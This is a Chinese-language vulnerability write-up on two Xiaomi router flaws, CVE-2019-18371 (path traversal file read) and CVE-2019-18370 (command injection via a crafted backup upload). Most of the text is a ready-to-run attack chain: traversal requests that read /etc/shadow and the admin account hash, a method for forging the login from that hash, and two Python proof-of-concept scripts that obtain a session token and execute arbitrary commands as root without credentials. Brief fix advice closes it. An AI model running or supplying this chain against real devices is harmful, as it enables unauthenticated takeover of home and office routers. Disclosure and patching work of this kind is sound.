安全设备/系统
一、漏洞描述
小米路由器是一款高配的智能路由器,具备强大的扩展,并且具备高速传输的特点,其传输速度最高可以达到866M,相比普通150M/300M的普通无线路由器具备更高无线传输速率。小米路由器系统存在任意文件读取漏洞和远程命令执行漏洞,攻击者通过该漏洞可以获取服务器权限,导致服务器失陷。
二、漏洞复现
系统首页地址及页面显示如下
http://xx.xx.xx.xx/cgi-bin/luci/web
1、远程任意文件读取漏洞(CVE-2019-18371)
小米路由器的nginx配置文件错误,导致目录穿越漏洞,实现任意文件读取(无需登录)
nginx配置不当可导致目录穿越漏洞,
location /xxx { alias /abc/; }
可通过访问http://domain.cn/xxx../etc/passwd实现目录穿越访问上级目录及其子目录文件。
在小米路由器的文件/etc/sysapihttpd/sysapihttpd.conf中,存在
location /api-third-party/download/extdisks { alias /extdisks/; }
故可以任意文件读取根目录下的所有文件,而且是root权限,如访问http://xx.xx.xx.xx/api-third-party/download/extdisks../etc/shadow
类似的问题,存在多处如
location /backup/log { alias /tmp/syslogbackup/; } location /api-third-party/download/public { alias /userdisk/data/; } location /api-third-party/download/private { alias /userdisk/appdata/; }
通过任意文件读取,登录路由器后台
不是明文存储密码,需要进行一定分析。关注两个过程,一是登录时前端js生成http post请求参数过程,二是验证用户登陆的后端过程。
登录时前端js生成http post请求参数过程
var Encrypt = { key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a', iv: '64175472480004614961023454661220', nonce: null, init: function(){ var nonce = this.nonceCreat(); this.nonce = nonce; return this.nonce; }, nonceCreat: function(){ var type = 0; // 自己的mac地址 var deviceId = '<%=mac%>'; var time = Math.floor(new Date().getTime() / 1000); var random = Math.floor(Math.random() * 10000); return [type, deviceId, time, random].join('_'); }, oldPwd : function(pwd){ // oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')) return CryptoJS.SHA1(this.nonce + CryptoJS.SHA1(pwd + this.key).toString()).toString(); }, //... };
可知oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')),登陆请求包为
POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1 Host: xx.xx.xx.xx username=admin&password=c9e62da7b8a0b7a4918c5a90912ba81a9717f9ab&logtype=2&nonce=0_mac地址_时间戳_5248
验证用户登陆的后端过程
调用XQSecureUtil.checkUser函数
function checkUser(user, nonce, encStr) -- 从xiaoqiang 配置文件中读取信息 local password = XQPreference.get(user, nil, "account") if password and not XQFunction.isStrNil(encStr) and not XQFunction.isStrNil(nonce) then if XQCryptoUtil.sha1(nonce..password) == encStr then return true end end XQLog.log(4, (luci.http.getenv("REMOTE_ADDR") or "").." Authentication failed", nonce, password, encStr) return false end
跟进XQPreference.get函数可以知道是从/etc/config/account文件中读取某个字符串,这里称它为accountStr。
checkUser函数判断等式为(encStr为参数oldPwd)
sha1(nonce + sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')) == sha1(nonce + accountStr)
则
accountStr == sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')
故,只需要读取/etc/config/account得到accountStr即可构造如下数据包登陆
POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1 Host: xx.xx.xx.xx username=admin&password=sha1(nonce + account中保存的字符串)&logtype=2&nonce=0_mac地址_时间戳_5248
先执行任意文件读取POC,读取etc/shadow文件,验证漏洞的存在,在响应中将会得到回显
GET /api-third-party/download/extdisks../etc/shadow HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept-Encoding: gzip, deflate Connection: close
然后读取/etc/config/account得到accountStr即可构造数据包登陆
实现任意登陆POC如下
arbitrary_file_read_vulnerability.py
#!/usr/bin/python import os import re import time import base64 import random import hashlib import requests from Crypto.Cipher import AES proxies = {"http":"http://127.0.0.1:8080"} def get_mac(): ## get mac r0 = requests.get("http://xx.xx.xx.xx/cgi-bin/luci/web",proxies = proxies) mac = re.findall(r'deviceId = '(.*?)'', r0.text)[0] # print(mac) return mac def get_account_str(): ## read /etc/config/account r1 = requests.get("http://xx.xx.xx.xx/api-third-party/download/extdisks../etc/config/account",proxies = proxies) print(r1.text) account_str = re.findall(r'admin'? '(.*)'', r1.text)[0] return account_str def create_nonce(mac): type_ = 0 deviceId = mac time_ = int(time.time()) rand = random.randint(0,10000) return "%d_%s_%d_%d"%(type_, deviceId, time_, rand) def calc_password(nonce, account_str): m = hashlib.sha1() m.update((nonce + account_str).encode('utf-8')) return m.hexdigest() mac = get_mac() account_str = get_account_str() ## login, get stok nonce = create_nonce(mac) password = calc_password(nonce, account_str) data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce) r2 = requests.post("http://xx.xx.xx.xx/cgi-bin/luci/api/xqsystem/login", data = data, headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},proxies = proxies) # print(r2.text) stok = re.findall(r'"token":"(.*?)"',r2.text)[0] print("stok="+stok)
可以获取到登录的stok。
2、远程命令执行漏洞(root权限)(CVE-2019-18370)
备份文件是tar.gz格式的,上传后tar zxf解压,所以构造备份文件,可以控制解压目录的文件内容,结合测试上传下载速度功能的sh脚本执行时读取测试url列表文件,并将url部分直接进行命令拼接执行。
备份文件解压导致/tmp/目录任意文件可控
在/usr/lib/lua/luci/controller/api/misystem.lua中,配置文件功能如下
function cUpload() local LuciFs = require("luci.fs") local XQBackup = require("xiaoqiang.module.XQBackup") local code = 0 local canupload = true local uploadFilepath = "/tmp/cfgbackup.tar.gz" local fileSize = tonumber(LuciHttp.getenv("CONTENT_LENGTH")) if fileSize > 102400 then canupload = false end LuciHttp.setfilehandler( function(meta, chunk, eof) if canupload then if not fp then if meta and meta.name == "image" then fp = io.open(uploadFilepath, "w") end end if chunk then fp:write(chunk) end if eof then fp:close() end else code = 1630 end end ) if LuciHttp.formvalue("image") and fp then code = 0 end local result = {} if code == 0 then local ext = XQBackup.extract(uploadFilepath) if ext == 0 then result["des"] = XQBackup.getdes() else code = 1629 end end if code ~= 0 then result["msg"] = XQErrorUtil.getErrorMessage(code) LuciFs.unlink(uploadFilepath) end result["code"] = code LuciHttp.write_json(result) end
其中调用XQBackup.extract(uploadFilepath)进行解压
-- 0:succeed -- 1:file does not exist -- 2:no description file -- 3:no mbu file function extract(filepath) local fs = require("nixio.fs") local tarpath = filepath if not tarpath then tarpath = TARMBUFILE end if not fs.access(tarpath) then return 1 end os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null") os.execute("rm "..tarpath.." >/dev/null 2>/dev/null") if not fs.access(DESFILE) then return 2 end if not fs.access(MBUFILE) then return 3 end return 0 end
可知,/tmp目录下的任意文件可控
/usr/bin/upload_speedtest,/usr/bin/download_speedtest等会读取/tmp/speedtest_urls.xml并提取url直接进行命令拼接,且这几个脚本可以通过web接口调用
举例,查看/usr/bin/download_speedtest文件
#!/usr/bin/env lua -- ... local cfg = { -- ... ['xmlfile'] = "/usr/share/speedtest.xml", ['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml", } VERSION="__UNDEFINED__" -- ... -- 测试网速使用的url文件为,若存在/tmp/speedtest_urls.xml则使用,否则用/usr/share/speedtest.xml local filename = "" filexml = io.open(cfg.tmp_speedtest_xml) if filexml then filexml:close() filename = cfg.tmp_speedtest_xml else filename = cfg.xmlfile end local pp = io.open(filename) local line = pp:read("*line") local size = 0 local resources = {} local u = "" local pids = {} -- ... function wget_work(url) local _url = url pid = posix.fork() if pid < 0 then print("fork error") return -1 elseif pid > 0 then --print(string.format("child pid %d ", pid)) else -- 拼接命令,最终在这里执行 os.execute('for i in $(seq '.. math.floor(cfg.nr/cfg.nc) ..'); do wget '.. url .. " -q -O /dev/null; done") end return pid end while line do -- 从文件中提取url, 这里提取没有进行过滤 local _, _, url = string.find(line,'- ') if url then table.insert(resources, url) end line = pp:read("*line") end pp:close() local urls = mrandom(1, table.getn(resources), cfg.nc) for k, v in ipairs(urls) do if VERSION == "LESSMEM" then local pid = wget_work_loop(resources[v]) else -- VERSION 为 __UNDEFINED__, url直接作为参数 local pid = wget_work(resources[v]) end if(pid == 0) then os.exit(0) elseif(pid == -1) then done() end end
调用的地方貌似有好几个,其中/usr/lib/lua/luci/controller/api/xqnetdetect.lua中
function netspeed() local XQPreference = require("xiaoqiang.XQPreference") local XQNSTUtil = require("xiaoqiang.module.XQNetworkSpeedTest") local code = 0 local result = {} local history = LuciHttp.formvalue("history") if history then result["bandwidth"] = tonumber(XQPreference.get("BANDWIDTH", 0, "xiaoqiang")) result["download"] = tonumber(string.format("%.2f", 128 * result.bandwidth)) result["bandwidth2"] = tonumber(XQPreference.get("BANDWIDTH2", 0, "xiaoqiang")) result["upload"] = tonumber(string.format("%.2f", 128 * result.bandwidth2)) else os.execute("/etc/init.d/miqos stop") -- 这里调用了downloadSpeedTest local download = XQNSTUtil.downloadSpeedTest() if download then result["download"] = download result["bandwidth"] = tonumber(string.format("%.2f", 8 * download/1024)) XQPreference.set("BANDWIDTH", tostring(result.bandwidth), "xiaoqiang") else code = 1588 end if code ~= 0 then result["msg"] = XQErrorUtil.getErrorMessage(code) end os.execute("/etc/init.d/miqos start") end result["code"] = code LuciHttp.write_json(result) end function downloadSpeedTest() local speedtest = "/usr/bin/download_speedtest" local speed -- 直接调用sh文件 for _, line in ipairs(LuciUtil.execl(speedtest)) do if not XQFunction.isStrNil(line) and line:match("^avg rx:") then speed = line:match("^avg rx:(%S+)") if speed then speed = tonumber(string.format("%.2f",speed/8)) end break end end return speed end
所以,我们只需要构造恶意的speedtest_urls.xml文件,构造备份文件,上传备份文件,然后调用网络测试相关的接口,即可以实现命令注入。
实现命令执行POC
template.xml文件
remote_command_execution_vulnerability.py
#!/usr/bin/python import os import tarfile import requests proxies = {"http":"http://127.0.0.1:8080"} ## get stok stok = input("stok: ") ## make config file command = input("command: ") speed_test_filename = "speedtest_urls.xml" with open("template.xml","rt",encoding='gb18030', errors='ignore') as f: template = f.read() data = template.format(command=command) # print(data) with open("speedtest_urls.xml",'wt') as f: f.write(data) with tarfile.open("payload.tar.gz", "w:gz") as tar: # tar.add("cfg_backup.des") # tar.add("cfg_backup.mbu") tar.add("speedtest_urls.xml") ## upload config file print("start uploading config file ...") r1 = requests.post("http://xx.xx.xx.xx/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(stok), files={"image":open("payload.tar.gz",'rb')}, proxies=proxies) # print(r1.text) ## exec download speed test, exec command print("start exec command...") r2 = requests.get("http://xx.xx.xx.xx/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(stok), proxies=proxies) # print(r2.text) ## read result file r3 = requests.get("http://xx.xx.xx.xx/api-third-party/download/extdisks../tmp/1.txt", proxies=proxies) if r3.status_code == 200: print("success, vul") print(r3.text)
结合二者,无需登录即可远程命令执行
经测试,在小米系列路由器中存在该漏洞,如小米路由器R3G、小米路由器R3A、小米路由器R4等
三、修复方案
1、任意文件读取
将/etc/sysapihttpd/sysapihttpd.conf中的形如以下形式修改为
location /xxx { alias /abc/; }
修改为
location /xxx/ { alias /abc/; }
2、远程命令执行
将备份文件格式修改为特定格式,直接读取备份文件内容,而不需使用解压
从speedtest_urls.xml中读取url时,进行必要的过滤,防止命令注入
文章作者 守卫者安全 ,在此特别鸣谢。
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